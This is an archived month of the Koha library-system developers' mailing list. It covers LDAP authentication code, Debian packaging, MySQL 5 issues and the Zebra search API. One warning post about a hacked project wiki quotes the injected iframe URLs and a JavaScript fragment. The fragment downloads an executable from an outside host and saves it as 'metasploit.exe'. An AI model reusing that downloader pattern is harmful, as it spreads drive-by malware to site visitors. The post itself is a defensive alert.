September 2006 - Koha-devel - lists.koha-community.org

Re: [Koha] ldap in 2.2.6RC2
by MJ Ray 15 Oct '06

15 Oct '06

Mourik Jan I am resending your message to the koha-devel list, so that hopefully a developer can test and commit the improved LDAP authenticator to the next versions. I may be offline for some of next week and hesitate to commit something I won't have enought time to test and support. Thank you for chasing up this useful upgrade. Forwarded message: > From koha-bounces(a)lists.katipo.co.nz Fri Sep 15 15:17:17 2006 > Date: Fri, 15 Sep 2006 12:31:06 +0200 > From: mourik jan heupink <heupink(a)merit.unu.edu> > To: Koha(a)lists.katipo.co.nz > Cc: paul.poulain(a)free.fr > Subject: [Koha] ldap in 2.2.6RC2 > List-Id: Discussion list for the Koha Library system <koha.lists.katipo.co.nz> > > dear list, > > There has been some discussion on koha(a)lists.katipo.co.nz about the ldap > authentication bit of koha. (mostly in december 2005) The outcome of > that discussion was (as far as I understood it) that the actual checking > of the password should be done by trying to connect (authenticate) to > the ldap server with a specific username/password and see if ldap > accepts the connection. > > What koha does: It tries to receive the password field from the ldap > server, and compares that to the password the user has typed, to check > if they are the same. > > There are some problems with this approach: > - most (if not all..?) ldap servers will be configured NOT to provide a > user's password to an anonymous connection. Meaning koha would have to > logon with a rootdn (or use acl's) to be able to 'read' the users password. > - if the ldap server uses a a way to encrypt the password, comparing the > (encrypted) password with the plain text (or otherwise encrypted) > plassword two values will not give the desired result. > > Anyway, a solution was provided on this list. To my surprise I noticed > that in the new koha 2.2.6RC2 the old method was still in place. > > Is there anything I missed? Are there reasons NOT to use the trying to > connect (authenticate) to the ldap server with a specific > username/password approach? Does it break other things? > > The Auth.pm provided by KL Nasveschuk is quoted below, and works here. > > Kind regards, > Mourik Jan > > ################################################## > ### LOCAL > ### Change the code below to match your own LDAP server. > ################################################## > > # LDAP connection parameters > > # LDAP server > my $ldapserver = 'ldap.server.com'; > > # Base DN for users > my $name = "ou=users,dc=server,dc=com"; > > # Bind uses the users full DN, if uid doesn't work try "cn" > my $binddn = "uid=$userid,$name"; > > my $db = Net::LDAP->new( $ldapserver ); > > # do bind > my $res =$db->bind( > dn =>$binddn, > password =>$password); > > # check connexion, anything other code than LDAP_SUCCESS (0) > # is a problem > if($res->code != 0 ) { > # auth refused > warn "LDAP Auth failed server not responding or wrong user > password combination"; > return 0; > # search user > }else { > > my $userdnsearch = $db->search(base => "$name", > filter =>"(cn=$userid)", > ); > my $userldapentry=$userdnsearch -> shift_entry; > > # build LDAP hash > my %memberhash; > my $x =$userldapentry->{asn}{attributes}; > my $key; > foreach my $k ( @$x) { > foreach my $k2 (keys %$k) { > if ($k2 eq 'type') { > $key = $$k{$k2}; > } else { > my $a = @$k{$k2}; > foreach my $k3 (@$a) { > $memberhash{$key} .= $k3." "; > } > } > } > } > # > # BUILD %borrower to CREATE or MODIFY BORROWER > # change $memberhash{'xxx'} to fit your ldap structure. > # check twice that mandatory fields are correctly filled > # > my %borrower; > $borrower{cardnumber} = $userid; > $borrower{firstname} = $memberhash{givenName}; # MANDATORY FIELD > $borrower{surname} = $memberhash{sn}; # MANDATORY FIELD > $borrower{initials} = > substr($borrower{firstname},0,1).substr($borrower{surname},0,1)." "; # > MANDATORY FIELD > $borrower{streetaddress} = $memberhash{postalAddress}." "; # > MANDATORY FIELD > $borrower{city} = $memberhash{l}." "; # MANDATORY FIELD > $borrower{phone} = $memberhash{telephoneNumber}." "; # MANDATORY > FIELD > $borrower{branchcode} = "MERIT"; # MANDATORY FIELD > $borrower{emailaddress} = $memberhash{mail}; > $borrower{categorycode} = $memberhash{employeeType}; > > ################################################## > ### /LOCAL > ### No change needed after this line (unless there's a bug ;-) ) > ################################################## > > _______________________________________________ > Koha mailing list > Koha(a)lists.katipo.co.nz > http://lists.katipo.co.nz/mailman/listinfo/koha > Thanks, -- MJ Ray - see http://mjr.towers.org.uk/email.html North End, Lynn, Norfolk, England Work: http://www.ttllp.co.uk/ IRC/Jabber/SIP: on request

2 1

Debian Packaging
by alex＠king.net.nz 10 Oct '06

10 Oct '06

I'm interested in having a Koha package available in Debian. I'm also interested in helping to make it happen, although I don't have the skills to do it all myself. After a call on the koha list there are a couple of others willing to help with this. I'd like to invite comments from Koha developers. Is it a good idea to go down this track? Would people like to see Koha in Debian? My original plan was to do a basic package of 2.2.5 with some mysql5 fixes, that would suit my own needs, and try to get it into Etch. However, others have suggested (Actually it was M J Ray http://lists.katipo.co.nz/pipermail/koha/2006/010508.html) modifying the code more extensivly to "look a lot more like the typical perl modules+scripts packages that you find on CPAN". If we're going to go down that path it would probably make sense to pull cvs and perhaps work more closely with the developers feeding back patches if this is seen as a good thing. Following on from that, I guess this is the sort of thing that would happen in a development branch (3) more than a stable branch (2.2?) This is all getting beyond what I really want to do myself - which is to get together a package quickly. I don't have the perl skills to do any extensive work myself. However I am willing to put energy in and assist going down whatever path is appropriate if there are a few people interested and a clear path mapped out. Is this an approprate forum to discuss Debian packaging issues or should we break off into our own list ASAP? Looking forward to your feedback... Alex

8 11

Re: [Koha] MySQL 5 fixes - Debian packaging.
by Alex King 30 Sep '06

30 Sep '06

This is going to be a show stopper for getting a Debian package out quickly. MySQL 5 is the standard server in Debian Etch (testing). There isn't even a version of the 4 or 3 server available for it as far as I can tell. So were going to need something that works with 5. I think the current and future versions of Ubuntu are in the same situation. I'd like to know from the developers what led to the patches shown in the bug report, ie what problems they were solving, how serious is this? With just the search queries patched, 2.2.5 appears to work OK (apart from barcodes), although I haven't tested it thoroughly. So we have two possible roads we could go down for a Debian package - either package 2.2.6 and add whatever patches are needed and test test test, or give up on it and package 3.0 What are people's instincts as to what is likely to be the best way to go? I don't want to spend a lot of time packaging 2.2.6 just to find I have to abandon it and switch to 3.0 because 2.2.6 can't be made to work with MySQL 5. On the plus side we can probably gather half a dozen or so testers, and if we know what we're looking for (in terms of where the problems might lie with MySQL 5) we could be effective at flushing out the bugs. Either way it's looking increasingly unlikely we'll get something in for Etch. I'm still planning to get something together soon - probably still 2.2.6 unless the consensus is otherwise. Cheers, Alex PS. My -devel digests have been hidden away by my mailer & I've only just discovered them, so sorry for my lack of responsiveness! After I told people to post there too :-/ PPS. I now think it's even more critical to point out the MySQL dependencies clearly and explicitly on the website. Is it there already, have I missed something? I think more and more Linux distros are/will be shipping with MySQL 5 by default. Mike Dalgity wrote: > I originally replied to Ms. Johnson off list but I'll post here for everyone > else following this topic. I am not a developer but the following is what > I've come across on the subject. > > According to Bug #1089 > http://bugs.koha.org/cgi-bin/bugzilla/show_bug.cgi?id=1089 MySQL 5 will NOT > be supported in Koha 2.x. Apparently MySQL 5 introduces more problems other > than reserved keywords. It's my understanding that the fix isn't as simple > as fixing the keywords and the search problems. The patch that is included > in that bug report makes a LOT of changes, stats modules, aquistions, etc. > And the authour indicates that there are still additional problems the patch > doesn't fix or even introduces. The probable reason that MySQL 5 isn't > supported is that it's a major undertaking to change everything and then > test it. Also the 2.x branch is supposed to be stable so a major change like > this is not recommended. AFAIK you will have to wait for Koha 3.0 to support > MySQL 5 (of course it can be modified to work if you really want it to). If > the developers have changed their plans someone please correct me. > > Mike D. > > > -----Original Message----- > From: koha-bounces(a)lists.katipo.co.nz > [mailto:koha-bounces@lists.katipo.co.nz]On Behalf Of Alex King > Sent: September 29, 2006 5:40 PM > To: BWS Johnson > Cc: koha(a)lists.katipo.co.nz > Subject: Re: [Koha] MySQL 5 fixes > > > It looks like Koha version 2.2.5 was released in January. Normally, the > download for 2.2.5 wouldn't be changed. I would assume the fixes are in > the pipeline for the next version in the series, 2.2.6. > > So when 2.2.6 is released I would expect it will work nicely with MySQL5. > > Perhaps a warning could be put on the download page mentioning the > MySQL5 issue. > > Cheers, > > Alex > > BWS Johnson wrote: > >> Salvete! >> >> Is there a reason that the reserved language switch to make Koha play >> nice with MySQL 5 hasn't been incorporated into the downloads yet? Am >> I missing something? >> >> Cheers, >> Brooke @ Hinsdale MA >> ------------------------------------------------------------------------ >> >> _______________________________________________ >> Koha mailing list >> Koha(a)lists.katipo.co.nz >> http://lists.katipo.co.nz/mailman/listinfo/koha >> >> > _______________________________________________ > Koha mailing list > Koha(a)lists.katipo.co.nz > http://lists.katipo.co.nz/mailman/listinfo/koha > > >

2 1

dev_week / rel_3_0 zebra API
by Paul POULAIN 29 Sep '06

29 Sep '06

I want to summarize what is done on dev_week (& synched to rel_3_0) and check (with Kados) that i'm right : * cataloguing API : - joshua, you have modified recently *Biblio.pm* to change the sub names, to have something using our coding rules. For example, NEWnewbiblio is now NewBiblio. The parameters seems unchanged. - we don't see anything commited in acqui.simple/addbiblio.pl and additem.pl, meaning either you have forgotten to commit them, or that it is still to be done. Pls tell us ;-) - AddBiblio / ModBiblio ... are now the ONLY point of entry to add a biblio. That means the parameter MARC=OFF is definetly gone & abandonned. * Search API : - The search on catalogue can be done with Search.pm, subs BuildQuery & GetRecords. All previous subs (cataloguersearch... are deprecated & can/will be removed from the code) - the search in librarian interface is still search.marc/search.pl, and don't use this new definitive API yet. - the search in OPAC is search (opac-search.pl & opac-zoomsearch.pl are deprecated too & can be dropped). Is there a reason why you called it "search" only (no .pl & no opac-xxx) ? * where can we help ? we are going to merge the code to rel_3_0 and continue cleaning, but should we do this on dev_week BEFORE merging, or on rel_3_0 AFTER merging ? -- Paul POULAIN et Henri Damien LAURENT Consultants indépendants en logiciels libres et bibliothéconomie (http://www.koha-fr.org) Tel : 04 91 31 45 19

3 4

Debian Etch: the big freeze comes
by MJ Ray 28 Sep '06

28 Sep '06

Etch general freeze will be 2006-10-18 Wednesday (see http://lists.debian.org/debian-devel-announce/ today) So ideally, we will need koha in unstable by 2006-10-08 Sunday (see http://www.debian.org/devel/testing for reasons) So ideally, I will need koha packages by 2006-10-06 Friday So we have about a week. Will we do this? Are we set on 2.2.6? BTW, the sooner the better, as we'll need ftpmaster approval for new packages (koha, maybe others). I'll contact ftpmasters by email to ask whether this is likely to happen. http://ftp-master.debian.org/ Thanks for any comments, -- MJR/slef My Opinion Only: see http://people.debian.org/~mjr/ Please follow http://www.uk.debian.org/MailingLists/#codeofconduct

1 0

[DANGER - URGENT - WARNING - URGENT] wiki.koha.org hacked
by Paul POULAIN 26 Sep '06

26 Sep '06

To everybody. http://wiki.koha.org has been hacked : when you try to open a page, something with a .wmf + a large javascript is loaded. If you go to the wiki under linux/Mac OSX, it is just impossible to use. If you go to the wiki under MS-windows, it's probably impossible to use + do some nasty things on your computer. SO, AVOID GOING TO WIKI.KOHA.ORG Kados / chris : it seems (with lynx, that don't enjoy javascript ;-) ) that all pages contains on the top an iframe to IFRAME: http://uniqcount.net/adv/new.php?adv=9 IFRAME: http://uniqcount.net/adv/09/new3.php going to this address give a page with javascript containing : ============================================ Log('Ceating the XMLHTTP object...'); var url = "http://uniqcount.net/adv/09/win32.exe"; var xml = null; var bin = e.Item("TEMP")+ "\\" + "metasploit.exe"; var dat; try { xml=new XMLHttpRequest(); } catch(e) { try { xml = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xml = new ActiveXObject("MSXML2.ServerXMLHTTP"); } =========================================== metasploit.exe is something really nasty : http://seclists.org/vuln-dev/2004/Apr/0011.html -- Paul POULAIN et Henri Damien LAURENT Consultants indépendants en logiciels libres et bibliothéconomie (http://www.koha-fr.org) Tel : 04 91 31 45 19

2 1

Some dev_week Scratchings
by Joshua Ferraro 25 Sep '06

25 Sep '06

Hi all, I've just cleaned up the naming conventions and some of the code and documentation issues in Biblio.pm in dev_week. My goal was to make some sense of the sheer volume of code, weed out the unused and useless functions, and re-name the used functions according to our coding guidelines. I didn't intend to do this originally for dev_week but unfortunately I just couldn't work with client requirements with the code in such an unreadable state. Toins, feel free to update rel_3_0 with my changes. Just a quick update on the current state of dev_week: 1. The searching options have been greatly expanded. If you haven't looked lately, you'll want to check out the latest record.abs, bib1.att, ccl.properties files: a. The dev_week API uses CCL as the default query language for interaction between the scripts and Zebra, though it does support CCL and PQF if passed ccl= or pqf= as the first part of a query. b. Getting your records up to snuff might be the most difficult part of a migration process. At some point soon we're going to need to put together a cataloging guide for catalogers using Koha to help maximize Koha's capabilities. in the meantime, expect to spend some time feeding your records through some pre-processing scripts. c. There are internationalization issues with dev_week that I haven't had a chance to explore ... also no support for UNIMARC yet, but I think paul and hdl are working on this. I expect once a few of my clients' systems go live I'll have some room to breath and take a look at these issues. 2. Items data is no longer updated on-the-fly for circulation -- it's just too much of a performance hit. There's a batch script for keeping the index up to date that you can run every 5 minutes or so to keep things up to date. 3. I removed all the proc-hungry functions in circulation and turned on warnings. Speed is up at least 80% from rel_2_2, and that's without mod_perl turned on. 4. I'm considering eliminating the old search API from the Intranet rather than maintain a wrapper for it. If anyone has any objections, speak up quickly :-). 5. I'm planning to remove additionalauthors and bibliosubject from dev_week because we've created some better ways to handle repeatable data by pulling it directly from the MARC (and FYI: additionalauthors and bibliosubject don't work as advertised in rel_2_2, but that's another story :-)) 6. This evening I'll be taking a look at the rel_3_0 code for reserving specific items and if it's stable, merging it into dev_week. 7. NPL will be doing user-testing of the Intranet tomorrow in anticipation of their go-live date in early October. I'll post the results of this test as soon as it's completed. 8. Authorities management is currently broken in dev_week, but I plan to fix it asap. 9. I've done something potentially confusing related to itemtypes in partial fullfillment of a NPL's need for a smaller set of circ rules without losing all their others. What I've done is to create an authorized value called CCODE that is hard-coded in the code to appear as a search point. CCODE is the old itemtype for NPL and NPL uses a new set of itemtypes for actual circulation rules. However, I may need to adjust how circulation rules are applied to allow item-level circulation rules (so that for instance, a record can have multiple items, each with different circ rules) which is required by almost every US Public library. I will post more about this issue as soon as I have a plan -- ideas are welcome :-). 10. Owen and I are going to begin using bugzilla to track issues with dev_week now that things are stabilized and will be using the rel_2_4 branch. 11. Migrating from a previous version of Koha to dev_week is nothing short of a nightmare :-). In addition to the need to fix broken records and normalize existing records, there's the added burden of dealing with improperly encoded records. These issues need to be dealt with on a case-by-case basis because of the diversity of platforms out there. There's also an incredible learning curve for Zebra, both in terms of installation (ie, getting your data into zebra and having it run), and customization (ie, getting it to search what and how you want). Just a heads up for any of you looking to try this out. Well, that's all for now ... have a good rest of the weekend :-). Cheers, -- Joshua Ferraro SUPPORT FOR OPEN-SOURCE SOFTWARE President, Technology migration, training, maintenance, support LibLime Featuring Koha Open-Source ILS jmf(a)liblime.com |Full Demos at http://liblime.com/koha |1(888)KohaILS

1 0

Adding new MARC tag Thesaurus Structure
by Pedro Faria 22 Sep '06

22 Sep '06

Dear all, Imagine I want catalog books and save, for each, it's Theme and a Group (these have a restricted set of values we want to be inserted). .I thought about creating two categories in Thesaurus Structure <http://librarian.testes.udp.eurotux.com/cgi-bin/koha/admin/authtypes.pl> named Theme and Group and add for them their autorised values. But, how do I make these new fields visible when adding a MARC and where, in the DB will these values be really stored? Do I have to make links DB-MARC , create new MARC tag... help needed!! Thank you

2 1

Simple Cataloging Help
by Pedro Faria 19 Sep '06

19 Sep '06

Dear all, I want to do simple cataloging. I just need to have Title, Author, ISBN, Publisher, Year, Genre, Group. What do you propose so achieve such goal? I want to make it simple for who catalogs and the MARC form is a bit scary... Since we just need these fields I would like show to the user a form with these values. Should I create another framework (MARC structure...) Needing help... Thanks

2 1

Re: [Zebralist] zebraidx weird brutal error...
by paul.poulain＠free.fr 14 Sep '06

14 Sep '06

Selon Adam Dickmeiss <adam(a)indexdata.dk>: > /var/www/html/koha/intranet/cgi-bin/zebraplugin/zebradb/biblios/shadow/cache > > zebraidx: cfile.c:117: cf_open: Assertion `cf->head.block_size == > block_size' > > failed. > > Abandon > You probably moved shadow files from one machine to another. Adam rock !!! > > [alaurin@localhost biblios]$ zebraidx -g iso2709 -d biblios -c > > ../../etc/zebra-biblios.cfg update export/ > > zebraidx: error while loading shared libraries: libyaz.so.2: cannot open > shared > > object file: No such file or directory > > YAZ not properly installed. Or you simply did not run ldconfig. Or yaz > is installed in /usr/local/lib and that directory is not listed in > /etc/ld.so.conf. Adam rock again !!! -- Paul

1 0